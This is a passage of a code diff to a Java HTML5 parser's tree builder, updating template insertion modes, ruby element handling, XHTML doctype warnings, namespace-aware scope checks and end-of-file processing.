contextNode = null;
@@ -646,7 +719,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
// CPPONLY: if (tokenizer.isViewingXmlSource()) {
// CPPONLY: T elt = createElement("http://www.w3.org/2000/svg",
// CPPONLY: "svg",
- // CPPONLY: tokenizer.emptyAttributes());
+ // CPPONLY: tokenizer.emptyAttributes(), null);
// CPPONLY: StackNode<T> node = new StackNode<T>(ElementName.SVG,
// CPPONLY: "svg",
// CPPONLY: elt);
@@ -834,9 +907,17 @@ public abstract class TreeBuilder<T> implements TokenHandler,
if (!"http://www.w3.org/TR/html4/strict.dtd".equals(systemIdentifier)) {
warn("The doctype did not contain the system identifier prescribed by the HTML 4.01 specification. Expected \u201C<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">\u201D.");
}
+ } else if ("-//W3C//DTD XHTML 1.0 Strict//EN".equals(publicIdentifier)) {
+ if (!"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd".equals(systemIdentifier)) {
+ warn("The doctype did not contain the system identifier prescribed by the XHTML 1.0 specification. Expected \u201C<!DOCTYPE HTML PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\u201D.");
+ }
+ } else if ("//W3C//DTD XHTML 1.1//EN".equals(publicIdentifier)) {
+ if (!"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd".equals(systemIdentifier)) {
+ warn("The doctype did not contain the system identifier prescribed by the XHTML 1.1 specification. Expected \u201C<!DOCTYPE HTML PUBLIC \"//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">\u201D.");
+ }
} else if (!((systemIdentifier == null || Portability.literalEqualsString(
"about:legacy-compat", systemIdentifier)) && publicIdentifier == null)) {
- err("Legacy doctype. Expected e.g. \u201C<!DOCTYPE html>\u201D.");
+ err("Unexpected doctype. Expected, e.g., \u201C<!DOCTYPE html>\u201D.");
}
documentModeInternal(DocumentMode.STANDARDS_MODE,
publicIdentifier, systemIdentifier, html4);
@@ -1011,7 +1092,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
*/
continue;
case FRAMESET_OK:
- case TEMPLATE_CONTENTS:
+ case IN_TEMPLATE:
case IN_BODY:
case IN_CELL:
case IN_CAPTION:
@@ -1210,7 +1291,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
mode = IN_BODY;
i--;
continue;
- case TEMPLATE_CONTENTS:
+ case IN_TEMPLATE:
case IN_BODY:
case IN_CELL:
case IN_CAPTION:
@@ -1274,7 +1355,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
if (start < i) {
accumulateCharacters(buf, start, i
- start);
- start = i;
+ // start index is adjusted below.
}
/*
* Parse error.
@@ -1289,7 +1370,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
if (start < i) {
accumulateCharacters(buf, start, i
- start);
- start = i;
+ // start index is adjusted below.
}
/*
* Parse error.
@@ -1313,13 +1394,19 @@ public abstract class TreeBuilder<T> implements TokenHandler,
i--;
continue;
case AFTER_AFTER_FRAMESET:
+ if (start < i) {
+ accumulateCharacters(buf, start, i
+ - start);
+ // start index is adjusted below.
+ }
+ /*
+ * Parse error.
+ */
errNonSpaceInTrailer();
/*
- * Switch back to the main mode and
- * reprocess the token.
+ * Ignore the token.
*/
- mode = IN_FRAMESET;
- i--;
+ start = i + 1;
continue;
}
}
@@ -1350,12 +1437,6 @@ public abstract class TreeBuilder<T> implements TokenHandler,
flushCharacters();
// Note: Can't attach error messages to EOF in C++ yet
eofloop: for (;;) {
- if (isInForeign()) {
- // [NOCPP[
- err("End of file in a foreign namespace context.");
- // ]NOCPP]
- break eofloop;
- }
switch (mode) {
case INITIAL:
/*
@@ -1434,21 +1515,19 @@ public abstract class TreeBuilder<T> implements TokenHandler,
appendToCurrentNodeAndPushBodyElement();
mode = IN_BODY;
continue;
+ case IN_TABLE_BODY:
+ case IN_ROW:
+ case IN_TABLE:
+ case IN_SELECT_IN_TABLE:
+ case IN_SELECT:
case IN_COLUMN_GROUP:
- if (currentPtr == 0) {
- assert fragment;
- break eofloop;
- } else {
- popOnEof();
- mode = IN_TABLE;
- continue;
- }
case FRAMESET_OK:
case IN_CAPTION:
case IN_CELL:
case IN_BODY:
// [NOCPP[
- openelementloop: for (int i = currentPtr; i >= 0; i--) {
+ // i > 0 to stop in time in the foreign fragment case.
+ openelementloop: for (int i = currentPtr; i > 0; i--) {
int group = stack[i].getGroup();
switch (group) {
case DD_OR_DT:
@@ -1465,7 +1544,30 @@ public abstract class TreeBuilder<T> implements TokenHandler,
}
}
// ]NOCPP]
- break eofloop;
+
+ if (isTemplateModeStackEmpty()) {
+ break eofloop;
+ }
+
+ // fall through to IN_TEMPLATE
+ case IN_TEMPLATE:
+ int eltPos = findLast("template");
+ if (eltPos == TreeBuilder.NOT_FOUND_ON_STACK) {
+ assert fragment;
+ break eofloop;
+ }
+ if (errorHandler != null) {
+ errUnclosedElements(eltPos, "template");
+ }
+ while (currentPtr >= eltPos) {
+ pop();
+ }
+ clearTheListOfActiveFormattingElementsUpToTheLastMarker();
+ popTemplateMode();
+ resetTheInsertionMode();
+
+ // Reprocess token.
+ continue;
case TEXT:
// [NOCPP[
if (errorHandler != null) {
@@ -1480,11 +1582,6 @@ public abstract class TreeBuilder<T> implements TokenHandler,
popOnEof();
mode = originalMode;
continue;
- case IN_TABLE_BODY:
- case IN_ROW:
- case IN_TABLE:
- case IN_SELECT:
- case IN_SELECT_IN_TABLE:
case IN_FRAMESET:
// [NOCPP[
if (errorHandler != null && currentPtr > 0) {
@@ -1492,17 +1589,6 @@ public abstract class TreeBuilder<T> implements TokenHandler,
}
// ]NOCPP]
break eofloop;
- case TEMPLATE_CONTENTS:
- if (currentPtr == 0) {
- assert fragment;
- break eofloop;
- }
-
- // TODO: Parse error. Add error reporting.
- popOnEof();
- resetTheInsertionMode();
- // Reprocess token.
- continue;
case AFTER_BODY:
case AFTER_FRAMESET:
case AFTER_AFTER_BODY:
@@ -1608,20 +1694,17 @@ public abstract class TreeBuilder<T> implements TokenHandler,
case P:
case PRE_OR_LISTING:
case TABLE:
- errHtmlStartTagInForeignContext(name);
- while (!isSpecialParentInForeign(stack[currentPtr])) {
- pop();
- }
- continue starttagloop;
case FONT:
- if (attributes.contains(AttributeName.COLOR)
- || attributes.contains(AttributeName.FACE)
- || attributes.contains(AttributeName.SIZE)) {
+ // re-check FONT to deal with the special case
+ if (!(group == FONT && !(attributes.contains(AttributeName.COLOR)
+ || attributes.contains(AttributeName.FACE) || attributes.contains(AttributeName.SIZE)))) {
errHtmlStartTagInForeignContext(name);
- while (!isSpecialParentInForeign(stack[currentPtr])) {
- pop();
- }
- continue starttagloop;
+ if (!fragment) {
+ while (!isSpecialParentInForeign(stack[currentPtr])) {
+ pop();
+ }
+ continue starttagloop;
+ } // else fall thru
}
// else fall thru
default:
@@ -1654,14 +1737,8 @@ public abstract class TreeBuilder<T> implements TokenHandler,
} // foreignObject / annotation-xml
}
switch (mode) {
- case TEMPLATE_CONTENTS:
+ case IN_TEMPLATE:
switch (group) {
- case FRAME:
- popTemplateMode();
- pushTemplateMode(IN_FRAMESET);
- mode = IN_FRAMESET;
- // Reprocess token.
- continue;
case COL:
popTemplateMode();
pushTemplateMode(IN_COLUMN_GROUP);
@@ -1696,6 +1773,11 @@ public abstract class TreeBuilder<T> implements TokenHandler,
selfClosing = false;
attributes = null; // CPP
break starttagloop;
+ case TITLE:
+ startTagTitleInHead(elementName, attributes);
+ attributes = null; // CPP
+ break starttagloop;
+ case BASE:
case LINK_OR_BASEFONT_OR_BGSOUND:
appendVoidElementToCurrentMayFoster(
elementName,
@@ -1707,6 +1789,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
startTagScriptInHead(elementName, attributes);
attributes = null; // CPP
break starttagloop;
+ case NOFRAMES:
case STYLE:
startTagGenericRawText(elementName, attributes);
attributes = null; // CPP
@@ -1841,7 +1924,6 @@ public abstract class TreeBuilder<T> implements TokenHandler,
break starttagloop;
}
generateImpliedEndTags();
- // XXX is the next if dead code?
if (errorHandler != null && !isCurrent("table")) {
errNoCheckUnclosedElementsOnStack();
}
@@ -1875,6 +1957,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
attributes = null; // CPP
break starttagloop;
case INPUT:
+ errStartTagInTable(name);
if (!Portability.lowerCaseLiteralEqualsIgnoreAsciiCaseString(
"hidden",
attributes.getValue(AttributeName.TYPE))) {
@@ -1887,7 +1970,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
attributes = null; // CPP
break starttagloop;
case FORM:
- if (formPointer != null) {
+ if (formPointer != null || isTemplateContents()) {
errFormWhenFormOpen();
break starttagloop;
} else {
@@ -2018,7 +2101,6 @@ public abstract class TreeBuilder<T> implements TokenHandler,
case STYLE:
case SCRIPT:
case TITLE:
- case COMMAND:
case TEMPLATE:
// Fall through to IN_HEAD
break inbodyloop;
@@ -2074,7 +2156,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
attributes = null; // CPP
break starttagloop;
case FORM:
- if (formPointer != null) {
+ if (formPointer != null && !isTemplateContents()) {
errFormWhenFormOpen();
break starttagloop;
} else {
@@ -2100,10 +2182,11 @@ public abstract class TreeBuilder<T> implements TokenHandler,
pop();
}
break;
- } else if (node.isSpecial()
- && node.name != "p"
- && node.name != "address"
- && node.name != "div") {
+ } else if (eltPos == 0 || (node.isSpecial()
+ && (node.ns != "http://www.w3.org/1999/xhtml"
+ || (node.name != "p"
+ && node.name != "address"
+ && node.name != "div")))) {
break;
}
eltPos--;
@@ -2250,7 +2333,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
break starttagloop;
case ISINDEX:
errIsindex();
- if (formPointer != null) {
+ if (formPointer != null && !isTemplateContents()) {
break starttagloop;
}
implicitlyCloseP();
@@ -2314,6 +2397,11 @@ public abstract class TreeBuilder<T> implements TokenHandler,
ElementName.HR,
HtmlAttributes.EMPTY_ATTRIBUTES);
pop(); // form
+
+ if (!isTemplateContents()) {
+ formPointer = null;
+ }
+
selfClosing = false;
// Portability.delete(formAttrs);
// Portability.delete(inputAttributes);
@@ -2391,13 +2479,13 @@ public abstract class TreeBuilder<T> implements TokenHandler,
attributes);
attributes = null; // CPP
break starttagloop;
- case RT_OR_RP:
+ case RB_OR_RTC:
eltPos = findLastInScope("ruby");
if (eltPos != NOT_FOUND_ON_STACK) {
generateImpliedEndTags();
}
if (eltPos != currentPtr) {
- if (eltPos != NOT_FOUND_ON_STACK) {
+ if (eltPos == NOT_FOUND_ON_STACK) {
errStartTagSeenWithoutRuby(name);
} else {
errUnclosedChildrenInRuby();
@@ -2408,6 +2496,25 @@ public abstract class TreeBuilder<T> implements TokenHandler,
attributes);
attributes = null; // CPP
break starttagloop;
+ case RT_OR_RP:
+ eltPos = findLastInScope("ruby");
+ if (eltPos != NOT_FOUND_ON_STACK) {
+ generateImpliedEndTagsExceptFor("rtc");
+ }
+ if (eltPos != currentPtr) {
+ if (!isCurrent("rtc")) {
+ if (eltPos == NOT_FOUND_ON_STACK) {
+ errStartTagSeenWithoutRuby(name);
+ } else {
+ errUnclosedChildrenInRuby();
+ }
+ }
+ }
+ appendToCurrentNodeAndPushElementMayFoster(
+ elementName,
+ attributes);
+ attributes = null; // CPP
+ break starttagloop;
case MATH:
reconstructTheActiveFormattingElements();
attributes.adjustForMath();
@@ -2473,7 +2580,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
}
break starttagloop;
case BASE:
- case COMMAND:
+ case LINK_OR_BASEFONT_OR_BGSOUND:
appendVoidElementToCurrentMayFoster(
elementName,
attributes);
@@ -2481,17 +2588,10 @@ public abstract class TreeBuilder<T> implements TokenHandler,
attributes = null; // CPP
break starttagloop;
case META:
- case LINK_OR_BASEFONT_OR_BGSOUND:
// Fall through to IN_HEAD_NOSCRIPT
break inheadloop;
case TITLE:
- appendToCurrentNodeAndPushElementMayFoster(
- elementName,
- attributes);
- originalMode = mode;
- mode = TEXT;
- tokenizer.setStateAndEndTagExpectation(
- Tokenizer.RCDATA, elementName);
+ startTagTitleInHead(elementName, attributes);
attributes = null; // CPP
break starttagloop;
case NOSCRIPT:
@@ -2734,10 +2834,6 @@ public abstract class TreeBuilder<T> implements TokenHandler,
selfClosing = false;
attributes = null; // CPP
break starttagloop;
- case TEMPLATE:
- startTagTemplateInHead(elementName, attributes);
- attributes = null; // CPP
- break starttagloop;
default:
// fall through to AFTER_FRAMESET
}
@@ -2911,16 +3007,15 @@ public abstract class TreeBuilder<T> implements TokenHandler,
mode = IN_FRAMESET;
attributes = null; // CPP
break starttagloop;
- case BASE:
+ case TEMPLATE:
errFooBetweenHeadAndBody(name);
pushHeadPointerOntoStack();
- appendVoidElementToCurrentMayFoster(
- elementName,
- attributes);
- selfClosing = false;
- pop(); // head
+ StackNode<T> headOnStack = stack[currentPtr];
+ startTagTemplateInHead(elementName, attributes);
+ removeFromStack(headOnStack);
attributes = null; // CPP
break starttagloop;
+ case BASE:
case LINK_OR_BASEFONT_OR_BGSOUND:
errFooBetweenHeadAndBody(name);
pushHeadPointerOntoStack();
@@ -3012,7 +3107,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
}
break starttagloop;
case NOFRAMES:
- startTagScriptInHead(elementName, attributes);
+ startTagGenericRawText(elementName, attributes);
attributes = null; // CPP
break starttagloop;
default:
@@ -3028,9 +3123,16 @@ public abstract class TreeBuilder<T> implements TokenHandler,
if (selfClosing) {
errSelfClosing();
}
- if (attributes != HtmlAttributes.EMPTY_ATTRIBUTES) {
- Portability.delete(attributes);
- }
+ // CPPONLY: if (mBuilder == null && attributes != HtmlAttributes.EMPTY_ATTRIBUTES) {
+ // CPPONLY: Portability.delete(attributes);
+ // CPPONLY: }
+ }
+
+ private void startTagTitleInHead(ElementName elementName, HtmlAttributes attributes) throws SAXException {
+ appendToCurrentNodeAndPushElementMayFoster(elementName, attributes);
+ originalMode = mode;
+ mode = TEXT;
+ tokenizer.setStateAndEndTagExpectation(Tokenizer.RCDATA, elementName);
}
private void startTagGenericRawText(ElementName elementName, HtmlAttributes attributes) throws SAXException {
@@ -3049,17 +3151,22 @@ public abstract class TreeBuilder<T> implements TokenHandler,
}
private void startTagTemplateInHead(ElementName elementName, HtmlAttributes attributes) throws SAXException {
- insertMarker();
appendToCurrentNodeAndPushElement(elementName, attributes);
+ insertMarker();
+ framesetOk = false;
originalMode = mode;
- mode = TEMPLATE_CONTENTS;
- pushTemplateMode(TEMPLATE_CONTENTS);
+ mode = IN_TEMPLATE;
+ pushTemplateMode(IN_TEMPLATE);
}
private boolean isTemplateContents() {
return TreeBuilder.NOT_FOUND_ON_STACK != findLast("template");
}
+ private boolean isTemplateModeStackEmpty() {
+ return templateModePtr == -1;
+ }
+
private boolean isSpecialParentInForeign(StackNode<T> stackNode) {
@NsUri String ns = stackNode.ns;
return ("http://www.w3.org/1999/xhtml" == ns)
@@ -3270,10 +3377,18 @@ public abstract class TreeBuilder<T> implements TokenHandler,
endtagloop: for (;;) {
if (isInForeign()) {
if (stack[currentPtr].name != name) {
- errEndTagDidNotMatchCurrentOpenElement(name, stack[currentPtr].popName);
+ if (currentPtr == 0) {
+ errStrayEndTag(name);
+ } else {
+ errEndTagDidNotMatchCurrentOpenElement(name, stack[currentPtr].popName);
+ }
}
eltPos = currentPtr;
for (;;) {
+ if (eltPos == 0) {
+ assert fragment: "We can get this close to the root of the stack in foreign content only in the fragment case.";
+ break endtagloop;
+ }
if (stack[eltPos].name == name) {
while (currentPtr >= eltPos) {
pop();
@@ -3286,7 +3401,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
}
}
switch (mode) {
- case TEMPLATE_CONTENTS:
+ case IN_TEMPLATE:
switch (group) {
case TEMPLATE:
// fall through to IN_HEAD
@@ -3512,6 +3627,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
case OPTGROUP:
case OPTION: // is this possible?
case P:
+ case RB_OR_RTC:
case RT_OR_RP:
case TD_OR_TH:
case TBODY_OR_THEAD_OR_TFOOT:
@@ -3536,6 +3652,8 @@ public abstract class TreeBuilder<T> implements TokenHandler,
case DD_OR_DT:
case LI:
case P:
+ case RB_OR_RTC:
+ case RT_OR_RP:
case TBODY_OR_THEAD_OR_TFOOT:
case TD_OR_TH:
case BODY:
@@ -3569,22 +3687,38 @@ public abstract class TreeBuilder<T> implements TokenHandler,
}
break endtagloop;
case FORM:
- if (formPointer == null) {
- errStrayEndTag(name);
+ if (!isTemplateContents()) {
+ if (formPointer == null) {
+ errStrayEndTag(name);
+ break endtagloop;
+ }
+ formPointer = null;
+ eltPos = findLastInScope(name);
+ if (eltPos == TreeBuilder.NOT_FOUND_ON_STACK) {
+ errStrayEndTag(name);
+ break endtagloop;
+ }
+ generateImpliedEndTags();
+ if (errorHandler != null && !isCurrent(name)) {
+ errUnclosedElements(eltPos, name);
+ }
+ removeFromStack(eltPos);
break endtagloop;
- }
- formPointer = null;
- eltPos = findLastInScope(name);
- if (eltPos == TreeBuilder.NOT_FOUND_ON_STACK) {
- errStrayEndTag(name);
+ } else {
+ eltPos = findLastInScope(name);
+ if (eltPos == TreeBuilder.NOT_FOUND_ON_STACK) {
+ errStrayEndTag(name);
+ break endtagloop;
+ }
+ generateImpliedEndTags();
+ if (errorHandler != null && !isCurrent(name)) {
+ errUnclosedElements(eltPos, name);
+ }
+ while (currentPtr >= eltPos) {
+ pop();
+ }
break endtagloop;
}
- generateImpliedEndTags();
- if (errorHandler != null && !isCurrent(name)) {
- errUnclosedElements(eltPos, name);
- }
- removeFromStack(eltPos);
- break endtagloop;
case P:
eltPos = findLastInButtonScope("p");
if (eltPos == TreeBuilder.NOT_FOUND_ON_STACK) {
@@ -3592,7 +3726,9 @@ public abstract class TreeBuilder<T> implements TokenHandler,
// XXX Can the 'in foreign' case happen anymore?
if (isInForeign()) {
errHtmlStartTagInForeignContext(name);
- while (stack[currentPtr].ns != "http://www.w3.org/1999/xhtml") {
+ // Check for currentPtr for the fragment
+ // case.
+ while (currentPtr >= 0 && stack[currentPtr].ns != "http://www.w3.org/1999/xhtml") {
pop();
}
}
@@ -3673,8 +3809,11 @@ public abstract class TreeBuilder<T> implements TokenHandler,
case BR:
errEndTagBr();
if (isInForeign()) {
+ // XXX can this happen anymore?
errHtmlStartTagInForeignContext(name);
- while (stack[currentPtr].ns != "http://www.w3.org/1999/xhtml") {
+ // Check for currentPtr for the fragment
+ // case.
+ while (currentPtr >= 0 && stack[currentPtr].ns != "http://www.w3.org/1999/xhtml") {
pop();
}
}
@@ -3728,7 +3867,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
eltPos = currentPtr;
for (;;) {
StackNode<T> node = stack[eltPos];
- if (node.name == name) {
+ if (node.ns == "http://www.w3.org/1999/xhtml" && node.name == name) {
generateImpliedEndTags();
if (errorHandler != null
&& !isCurrent(name)) {
@@ -3738,7 +3877,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
pop();
}
break endtagloop;
- } else if (node.isSpecial()) {
+ } else if (eltPos == 0 || node.isSpecial()) {
errStrayEndTag(name);
break endtagloop;
}
@@ -3758,7 +3897,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
mode = AFTER_HEAD;
continue;
case TEMPLATE:
- endTagTemplateInHead(name);
+ endTagTemplateInHead();
break endtagloop;
default:
errStrayEndTag(name);
@@ -3795,7 +3934,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
errStrayEndTag(name);
break endtagloop;
case TEMPLATE:
- endTagTemplateInHead(name);
+ endTagTemplateInHead();
break endtagloop;
default:
if (currentPtr == 0 || stack[currentPtr].getGroup() ==
@@ -3867,7 +4006,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
resetTheInsertionMode();
break endtagloop;
case TEMPLATE:
- endTagTemplateInHead(name);
+ endTagTemplateInHead();
break endtagloop;
default:
errStrayEndTag(name);
@@ -3891,8 +4030,8 @@ public abstract class TreeBuilder<T> implements TokenHandler,
case IN_FRAMESET:
switch (group) {
case FRAMESET:
- if (currentPtr == 0 || isTemplateContents()) {
- assert fragment || isTemplateContents();
+ if (currentPtr == 0) {
+ assert fragment;
errStrayEndTag(name);
break endtagloop;
}
@@ -3901,9 +4040,6 @@ public abstract class TreeBuilder<T> implements TokenHandler,
mode = AFTER_FRAMESET;
}
break endtagloop;
- case TEMPLATE:
- endTagTemplateInHead(name);
- break endtagloop;
default:
errStrayEndTag(name);
break endtagloop;
@@ -3992,6 +4128,9 @@ public abstract class TreeBuilder<T> implements TokenHandler,
}
case AFTER_HEAD:
switch (group) {
+ case TEMPLATE:
+ endTagTemplateInHead();
+ break endtagloop;
case HTML:
case BODY:
case BR:
@@ -4008,8 +4147,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
continue;
case AFTER_AFTER_FRAMESET:
errStrayEndTag(name);
- mode = IN_FRAMESET;
- continue;
+ break endtagloop;
case TEXT:
// XXX need to manage insertion point here
pop();
@@ -4022,15 +4160,15 @@ public abstract class TreeBuilder<T> implements TokenHandler,
} // endtagloop
}
- private void endTagTemplateInHead(@Local String name) throws SAXException {
- int eltPos = findLast(name);
+ private void endTagTemplateInHead() throws SAXException {
+ int eltPos = findLast("template");
if (eltPos == TreeBuilder.NOT_FOUND_ON_STACK) {
- errStrayEndTag(name);
+ errStrayEndTag("template");
return;
}
generateImpliedEndTags();
- if (errorHandler != null && !isCurrent(name)) {
- errUnclosedElements(eltPos, name);
+ if (errorHandler != null && !isCurrent("template")) {
+ errUnclosedElements(eltPos, "template");
}
while (currentPtr >= eltPos) {
pop();
@@ -4052,7 +4190,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
private int findLast(@Local String name) {
for (int i = currentPtr; i > 0; i--) {
- if (stack[i].name == name) {
+ if (stack[i].ns == "http://www.w3.org/1999/xhtml" && stack[i].name == name) {
return i;
}
}
@@ -4061,10 +4199,12 @@ public abstract class TreeBuilder<T> implements TokenHandler,
private int findLastInTableScope(@Local String name) {
for (int i = currentPtr; i > 0; i--) {
- if (stack[i].name == name) {
- return i;
- } else if (stack[i].name == "table" || stack[i].name == "template") {
- return TreeBuilder.NOT_FOUND_ON_STACK;
+ if (stack[i].ns == "http://www.w3.org/1999/xhtml") {
+ if (stack[i].name == name) {
+ return i;
+ } else if (stack[i].name == "table" || stack[i].name == "template") {
+ return TreeBuilder.NOT_FOUND_ON_STACK;
+ }
}
}
return TreeBuilder.NOT_FOUND_ON_STACK;
@@ -4072,9 +4212,15 @@ public abstract class TreeBuilder<T> implements TokenHandler,
private int findLastInButtonScope(@Local String name) {
for (int i = currentPtr; i > 0; i--) {
- if (stack[i].name == name) {
- return i;
- } else if (stack[i].isScoping() || stack[i].name == "button") {
+ if (stack[i].ns == "http://www.w3.org/1999/xhtml") {
+ if (stack[i].name == name) {
+ return i;
+ } else if (stack[i].name == "button") {
+ return TreeBuilder.NOT_FOUND_ON_STACK;
+ }
+ }
+
+ if (stack[i].isScoping()) {
return TreeBuilder.NOT_FOUND_ON_STACK;
}
}
@@ -4083,7 +4229,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
private int findLastInScope(@Local String name) {
for (int i = currentPtr; i > 0; i--) {
- if (stack[i].name == name) {
+ if (stack[i].ns == "http://www.w3.org/1999/xhtml" && stack[i].name == name) {
return i;
} else if (stack[i].isScoping()) {
return TreeBuilder.NOT_FOUND_ON_STACK;
@@ -4094,9 +4240,15 @@ public abstract class TreeBuilder<T> implements TokenHandler,
private int findLastInListScope(@Local String name) {
for (int i = currentPtr; i > 0; i--) {
- if (stack[i].name == name) {
- return i;
- } else if (stack[i].isScoping() || stack[i].name == "ul" || stack[i].name == "ol") {
+ if (stack[i].ns == "http://www.w3.org/1999/xhtml") {
+ if (stack[i].name == name) {
+ return i;
+ } else if (stack[i].name == "ul" || stack[i].name == "ol") {
+ return TreeBuilder.NOT_FOUND_ON_STACK;
+ }
+ }
+
+ if (stack[i].isScoping()) {
return TreeBuilder.NOT_FOUND_ON_STACK;
}
}
@@ -4124,8 +4276,9 @@ public abstract class TreeBuilder<T> implements TokenHandler,
case DD_OR_DT:
case OPTION:
case OPTGROUP:
+ case RB_OR_RTC:
case RT_OR_RP:
- if (node.name == name) {
+ if (node.ns == "http://www.w3.org/1999/xhtml" && node.name == name) {
return;
}
pop();
@@ -4144,6 +4297,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
case DD_OR_DT:
case OPTION:
case OPTGROUP:
+ case RB_OR_RTC:
case RT_OR_RP:
pop();
continue;
@@ -4271,10 +4425,12 @@ public abstract class TreeBuilder<T> implements TokenHandler,
private int findLastInTableScopeTdTh() {
for (int i = currentPtr; i > 0; i--) {
@Local String name = stack[i].name;
- if ("td" == name || "th" == name) {
- return i;
- } else if (name == "table" || name == "template") {
- return TreeBuilder.NOT_FOUND_ON_STACK;
+ if (stack[i].ns == "http://www.w3.org/1999/xhtml") {
+ if ("td" == name || "th" == name) {
+ return i;
+ } else if (name == "table" || name == "template") {
+ return TreeBuilder.NOT_FOUND_ON_STACK;
+ }
}
}
return TreeBuilder.NOT_FOUND_ON_STACK;
@@ -4283,7 +4439,8 @@ public abstract class TreeBuilder<T> implements TokenHandler,
private void clearStackBackTo(int eltPos) throws SAXException {
int eltGroup = stack[eltPos].getGroup();
while (currentPtr > eltPos) { // > not >= intentional
- if (stack[currentPtr].getGroup() == TEMPLATE
+ if (stack[currentPtr].ns == "http://www.w3.org/1999/xhtml"
+ && stack[currentPtr].getGroup() == TEMPLATE
&& (eltGroup == TABLE || eltGroup == TBODY_OR_THEAD_OR_TFOOT|| eltGroup == TR || eltPos == 0)) {
return;
}
@@ -4301,19 +4458,30 @@ public abstract class TreeBuilder<T> implements TokenHandler,
ns = node.ns;
if (i == 0) {
if (!(contextNamespace == "http://www.w3.org/1999/xhtml" && (contextName == "td" || contextName == "th"))) {
- name = contextName;
- ns = contextNamespace;
+ if (fragment) {
+ // Make sure we are parsing a fragment otherwise the context element doesn't make sense.
+ name = contextName;
+ ns = contextNamespace;
+ }
} else {
mode = framesetOk ? FRAMESET_OK : IN_BODY; // XXX from Hixie's email
return;
}
}
- if ("template" == name) {
- assert templateModePtr >= 0;
- mode = templateModeStack[templateModePtr];
- return;
- } else if ("select" == name) {
- // TODO: Fragment case. Add error reporting.
+ if ("select" == name) {
+ int ancestorIndex = i;
+ while (ancestorIndex > 0) {
+ StackNode<T> ancestor = stack[ancestorIndex--];
+ if ("http://www.w3.org/1999/xhtml" == ancestor.ns) {
+ if ("template" == ancestor.name) {
+ break;
+ }
+ if ("table" == ancestor.name) {
+ mode = IN_SELECT_IN_TABLE;
+ return;
+ }
+ }
+ }
mode = IN_SELECT;
return;
} else if ("td" == name || "th" == name) {
@@ -4329,7 +4497,6 @@ public abstract class TreeBuilder<T> implements TokenHandler,
mode = IN_CAPTION;
return;
} else if ("colgroup" == name) {
- // TODO: Fragment case. Add error reporting.
mode = IN_COLUMN_GROUP;
return;
} else if ("table" == name) {
@@ -4338,9 +4505,12 @@ public abstract class TreeBuilder<T> implements TokenHandler,
} else if ("http://www.w3.org/1999/xhtml" != ns) {
mode = framesetOk ? FRAMESET_OK : IN_BODY;
return;
- } else if ("head" == name) {
+ } else if ("template" == name) {
+ assert templateModePtr >= 0;
+ mode = templateModeStack[templateModePtr];
+ return;
+ } else if ("head" == name) {
if (name == contextName) {
- // TODO: Fragment case. Add error reporting.
mode = framesetOk ? FRAMESET_OK : IN_BODY; // really
} else {
mode = IN_HEAD;
@@ -4454,7 +4624,8 @@ public abstract class TreeBuilder<T> implements TokenHandler,
}
@Inline private boolean isCurrent(@Local String name) {
- return name == stack[currentPtr].name;
+ return stack[currentPtr].ns == "http://www.w3.org/1999/xhtml" &&
+ name == stack[currentPtr].name;
}
private void removeFromStack(int pos) throws SAXException {
@@ -4503,14 +4674,36 @@ public abstract class TreeBuilder<T> implements TokenHandler,
listPtr--;
}
+ /**
+ * Adoption agency algorithm.
+ *
+ * @param name subject as described in the specified algorithm.
+ * @return Returns true if the algorithm has completed and there is nothing remaining to
+ * be done. Returns false if the algorithm needs to "act as described in the 'any other
+ * end tag' entry" as described in the specified algorithm.
+ * @throws SAXException
+ */
private boolean adoptionAgencyEndTag(@Local String name) throws SAXException {
+ // This check intends to ensure that for properly nested tags, closing tags will match
+ // against the stack instead of the listOfActiveFormattingElements.
+ if (stack[currentPtr].ns == "http://www.w3.org/1999/xhtml" &&
+ stack[currentPtr].name == name &&
+ findInListOfActiveFormattingElements(stack[currentPtr]) == -1) {
+ // If the current element matches the name but isn't on the list of active
+ // formatting elements, then it is possible that the list was mangled by the Noah's Ark
+ // clause. In this case, we want to match the end tag against the stack instead of
+ // proceeding with the AAA algorithm that may match against the list of
+ // active formatting elements (and possibly mangle the tree in unexpected ways).
+ pop();
+ return true;
+ }
+
// If you crash around here, perhaps some stack node variable claimed to
// be a weak ref isn't.
for (int i = 0; i < 8; ++i) {
int formattingEltListPos = listPtr;
while (formattingEltListPos > -1) {
- StackNode<T> listNode = listOfActiveFormattingElements[formattingEltListPos]; // weak
- // ref
+ StackNode<T> listNode = listOfActiveFormattingElements[formattingEltListPos]; // weak ref
if (listNode == null) {
formattingEltListPos = -1;
break;
@@ -4522,18 +4715,8 @@ public abstract class TreeBuilder<T> implements TokenHandler,
if (formattingEltListPos == -1) {
return false;
}
- StackNode<T> formattingElt = listOfActiveFormattingElements[formattingEltListPos]; // this
- // *looks*
- // like
- // a
- // weak
- // ref
- // to
- // the
- // list
- // of
- // formatting
- // elements
+ // this *looks* like a weak ref to the list of formatting elements
